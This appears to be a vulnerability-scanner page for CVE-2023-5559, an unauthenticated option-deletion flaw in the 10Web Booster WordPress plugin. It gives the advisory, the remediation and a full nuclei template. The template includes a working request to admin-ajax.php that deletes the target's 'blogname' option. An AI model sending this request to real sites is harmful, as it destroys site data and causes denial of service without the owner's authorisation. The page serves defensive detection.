10Web Booster < 2.24.18 - Unauthenticated Arbitrary Option Deletion

criticalseverity

9.1CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

The 10Web Booster WordPress plugin before 2.24.18 does not validate the option name given to some AJAX actions, allowing unauthenticated users to delete arbitrary options from the database, leading to denial of service.

Impact

Unauthenticated attackers can delete arbitrary WordPress options from the database, leading to denial of service and potential site malfunction.

Fix

Update 10Web Booster plugin to version 2.24.18 or later.

How to confirm it

Send: GET {{BaseURL}}/{{route}}
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "{\"name\":\"", "\"description\":")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200
Send: GET {{BaseURL}}/{{route}}
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "\"name\":false")

Run it with nuclei: nuclei -id CVE-2023-5559 -u <target>

The full check

id: CVE-2023-5559

info:
  name: 10Web Booster < 2.24.18 - Unauthenticated Arbitrary Option Deletion
  author: daffainfo
  severity: critical
  description: |
    The 10Web Booster WordPress plugin before 2.24.18 does not validate the option name given to some AJAX actions, allowing unauthenticated users to delete arbitrary options from the database, leading to denial of service.
  impact: |
    Unauthenticated attackers can delete arbitrary WordPress options from the database, leading to denial of service and potential site malfunction.
  remediation: |
    Update 10Web Booster plugin to version 2.24.18 or later.
  reference:
    - https://wpscan.com/vulnerability/eba46f7d-e4db-400c-8032-015f21087bbf/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5559
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2023-5559
    epss-score: 0.02788
    epss-percentile: 0.86528
    cpe: cpe:2.3:a:10web:10web_booster:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: 10web
    product: 10web_booster
    framework: wordpress
    publicwww-query: "/wp-content/plugins/tenweb-speed-optimizer"
  tags: cve,cve2023,wordpress,wp-plugin,wp,10web,vkev,intrusive,vuln

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json"
        - "?rest_route=/"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "{\"name\":\"", "\"description\":")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=two_activate_score_check&nonce=blogname

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json"
        - "?rest_route=/"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"name\":false")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from